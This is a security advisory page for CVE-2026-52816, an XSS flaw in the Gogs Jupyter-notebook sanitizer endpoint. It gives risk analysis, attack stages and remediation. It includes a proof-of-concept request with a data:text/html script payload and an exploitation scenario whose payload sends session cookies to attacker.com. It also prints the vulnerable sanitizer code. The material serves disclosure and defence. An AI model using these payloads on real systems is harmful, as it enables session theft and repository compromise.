CVE-2026-52816: Gogs: XSS via data URI in ipynb sanitizer endpoint

GHSA-3w28-36p9-w929 MEDIUM
Published June 23, 2026
CISO Take

Gogs' Jupyter Notebook sanitization endpoint allows any registered user to submit HTML payloads containing data:text/html URIs that survive the sanitizer intact, enabling reflected or stored XSS attacks against ML and data science teams using Gogs as their repository host. With 1,874 downstream dependents and trivial exploitation requiring only a basic account—no elevated privileges, no authentication on the vulnerable endpoint—any organization running an open-registration or multi-tenant Gogs instance faces real exposure, particularly where data scientists share notebook outputs that render in colleagues' browsers. A successful attack hands the adversary authenticated session tokens, unlocking access to proprietary model code, training pipelines, CI/CD secrets, and any credentials embedded in notebooks. Patch immediately to Gogs v0.14.3, which restricts data URIs to safe image MIME types; as an interim control, block or require admin authentication on POST /-/api/sanitize_ipynb at your WAF or reverse proxy.

Sources: GitHub Advisory OpenSSF ATLAS

What is the risk?

Medium-High for organizations hosting Jupyter notebooks on Gogs. Exploitation is trivial—only a registered account is needed, making compromised low-privilege accounts, insider threats, and open-registration abuse viable attack paths. The XSS vector enables session token theft and credential harvesting, with downstream risk of full repository compromise. No public exploit, no CISA KEV listing, and a patch available in v0.14.3 reduce immediate urgency somewhat, but the zero-friction exploitation bar and 1,874 downstream dependents make this a priority patch for any unpatched instance used by AI/ML teams.

How does the attack unfold?

Initial Access
Attacker obtains a registered Gogs user account through open registration, credential stuffing, or phishing a developer—no elevated privileges required.
AML.T0012
Exploitation
Attacker sends a crafted POST to the unauthenticated /-/api/sanitize_ipynb endpoint with HTML containing a malicious data:text/html URI; the endpoint returns the payload with the dangerous URI preserved intact.
AML.T0049
Payload Delivery
The attacker-supplied 'sanitized' HTML is embedded in a shared notebook cell, comment, or rendered view visible to target ML engineers and data scientists, triggering JavaScript execution in their browsers.
AML.T0078
Credential Theft & Repository Compromise
Exfiltrated session tokens grant the attacker authenticated access to private AI/ML repositories, training pipelines, CI/CD integrations, and any secrets stored in notebooks.
AML.T0106

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Jupyter go < 0.14.3 0.14.3
13.2K OpenSSF 5.8 1.9K dependents Pushed 4d ago 79% patched ~9d to patch Full package profile →

Do you use Jupyter? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

5 steps
  1. Upgrade Gogs to v0.14.3 immediately—the fix replaces p.AllowURLSchemes('data') with AllowURLSchemeWithCustomPolicy('data', isSafeDataURI), restricting data URIs to safe image MIME types only.

  2. Until patched, add WAF or reverse proxy rules to block POST requests to /-/api/sanitize_ipynb, or require admin-level authentication on that route.

  3. Audit application logs for POST requests to /-/api/sanitize_ipynb containing the string 'data:text/html' as an indicator of exploitation attempts.

  4. Rotate session tokens for all users on unpatched instances as a precaution.

  5. Scan notebooks stored in Gogs repositories for pre-existing data: URI payloads that may have already been submitted.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Art.15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.2 - AI System Security
NIST AI RMF
GOVERN-6.2 - Policies and practices are in place to address AI risks
OWASP LLM Top 10
LLM02 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2026-52816?

Gogs' Jupyter Notebook sanitization endpoint allows any registered user to submit HTML payloads containing data:text/html URIs that survive the sanitizer intact, enabling reflected or stored XSS attacks against ML and data science teams using Gogs as their repository host. With 1,874 downstream dependents and trivial exploitation requiring only a basic account—no elevated privileges, no authentication on the vulnerable endpoint—any organization running an open-registration or multi-tenant Gogs instance faces real exposure, particularly where data scientists share notebook outputs that render in colleagues' browsers. A successful attack hands the adversary authenticated session tokens, unlocking access to proprietary model code, training pipelines, CI/CD secrets, and any credentials embedded in notebooks. Patch immediately to Gogs v0.14.3, which restricts data URIs to safe image MIME types; as an interim control, block or require admin authentication on POST /-/api/sanitize_ipynb at your WAF or reverse proxy.

Is CVE-2026-52816 actively exploited?

No confirmed active exploitation of CVE-2026-52816 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-52816?

1. Upgrade Gogs to v0.14.3 immediately—the fix replaces p.AllowURLSchemes('data') with AllowURLSchemeWithCustomPolicy('data', isSafeDataURI), restricting data URIs to safe image MIME types only. 2. Until patched, add WAF or reverse proxy rules to block POST requests to /-/api/sanitize_ipynb, or require admin-level authentication on that route. 3. Audit application logs for POST requests to /-/api/sanitize_ipynb containing the string 'data:text/html' as an indicator of exploitation attempts. 4. Rotate session tokens for all users on unpatched instances as a precaution. 5. Scan notebooks stored in Gogs repositories for pre-existing data: URI payloads that may have already been submitted.

What systems are affected by CVE-2026-52816?

This vulnerability affects the following AI/ML architecture patterns: Jupyter notebook hosting, ML collaborative development environments, Data science CI/CD pipelines, AI/ML code repositories.

What is the CVSS score for CVE-2026-52816?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Jupyter notebook hostingML collaborative development environmentsData science CI/CD pipelinesAI/ML code repositories

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0048.003 User Harm
AML.T0049 Exploit Public-Facing Application
AML.T0078 Drive-by Compromise
AML.T0106 Exploitation for Credential Access

Compliance Controls Affected

EU AI Act: Art.15
ISO 42001: A.6.2.2
NIST AI RMF: GOVERN-6.2
OWASP LLM Top 10: LLM02

What are the technical details?

Original Advisory

## Summary The Jupyter Notebook (ipynb) sanitizer endpoint at `POST /-/api/sanitize_ipynb` allows arbitrary `data:` URIs without proper restrictions, potentially leading to Cross-Site Scripting (XSS). The endpoint uses `bluemonday.UGCPolicy()` with `p.AllowURLSchemes("data")` which permits all data URI schemes including `data:text/html`, enabling attackers to inject malicious HTML/JavaScript. Additionally, the endpoint has no authentication middleware, allowing any registered user to exploit this vulnerability. ## Severity **High** ## Affected Versions All versions using the vulnerable endpoint ## Vulnerability Details - **CVE ID**: (To be assigned) - **Entry Point**: `POST /-/api/sanitize_ipynb` - **Attack Vector**: Network - **Authentication Required**: No (only needs a registered user account) ## Impact An attacker with a registered user account can: - Send malicious HTML containing `data:text/html` URIs to the sanitization endpoint - Receive sanitized but attacker-controlled HTML in the response - Execute arbitrary JavaScript in the attacker's browser context through XSS - Potentially exploit other users if the sanitized output is rendered in their context The vulnerability has higher severity because: 1. No authentication required (only needs a registered user account) 2. Unlike the safer pattern in `internal/markup/sanitizer.go:39` which uses `isSafeDataURI` to only allow safe image MIME types, this endpoint allows ALL data URIs including HTML 3. The returned HTML can be used to craft XSS attacks ## Proof of Concept Attacker sends a POST request to the sanitization endpoint: ```http POST /-/api/sanitize_ipynb HTTP/1.1 Host: target.gogs.instance Content-Type: text/plain <a href="data:text/html,<script>alert(document.cookie)</script>">click</a> ``` The server returns the sanitized HTML with the data URI preserved: ```html <a href="data:text/html,<script>alert(document.cookie)</script>">click</a> ``` When this HTML is rendered in a browser, the JavaScript within the data URI will execute, leading to XSS. ## Affected Component **File**: `internal/app/api.go:10-16` ```go func ipynbSanitizer() *bluemonday.Policy { p := bluemonday.UGCPolicy() p.AllowAttrs("class", "data-prompt-number").OnElements("div") p.AllowAttrs("class").OnElements("img") p.AllowURLSchemes("data") // <-- VULNERABLE: allows all data URIs return p } ``` **File**: `cmd/gogs/web.go:681-683` - No authentication middleware ```go m.Group("/-", func() { m.Get("/metrics", app.MetricsFilter(), promhttp.Handler()) m.Group("/api", func() { m.Post("/sanitize_ipynb", app.SanitizeIpynb()) // <-- No auth middleware }) }) ``` ## Root Cause 1. **Unrestricted data URI scheme**: The code at `internal/app/api.go:14` uses `p.AllowURLSchemes("data")` without any restriction, unlike the safer implementation in `internal/markup/sanitizer.go:39` which uses `AllowURLSchemeWithCustomPolicy("data", isSafeDataURI)` to only allow safe image MIME types. 2. **No authentication**: The endpoint at `cmd/gogs/web.go:682` does not have any authentication middleware applied, making it accessible to any registered user. 3. **Insufficient validation**: The sanitization only removes dangerous tags/attributes but preserves data URIs, allowing `data:text/html` payloads to pass through. ## Suggested Fix **Option 1**: Use the same safe pattern as `internal/markup/sanitizer.go` Replace `p.AllowURLSchemes("data")` with: ```go p.AllowURLSchemeWithCustomPolicy("data", isSafeDataURI) ``` Where `isSafeDataURI` is a function that only allows safe image MIME types (image/png, image/jpeg, image/gif, etc.). **Option 2**: Add authentication middleware Apply appropriate authentication to the endpoint: ```go m.Post("/sanitize_ipynb", middleware.signIn, app.SanitizeIpynb()) ``` **Option 3**: Disable data URI scheme entirely If data URIs are not required for ipynb sanitization: ```go // Remove this line entirely: // p.AllowURLSchemes("data") ```

Exploitation Scenario

An adversary with a basic Gogs account—obtained through open registration, credential stuffing, or phishing a developer—sends a POST to /-/api/sanitize_ipynb with the payload: <a href='data:text/html,<script>fetch("https://attacker.com/?"+btoa(document.cookie))</script>'>View Notebook Output</a>. The endpoint returns the HTML verbatim with the malicious data URI intact. The attacker embeds this 'sanitized' output into a shared notebook cell or issue comment visible to a data scientist or ML engineer. When the victim's browser renders it and they click the link, their Gogs session cookie is silently exfiltrated. The attacker now has authenticated access to all private repositories, including model code, training scripts, and any API secrets stored in notebooks, with no trace in normal auth logs.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

Timeline

Published
June 23, 2026
Last Modified
June 23, 2026
First Seen
June 23, 2026

Related Vulnerabilities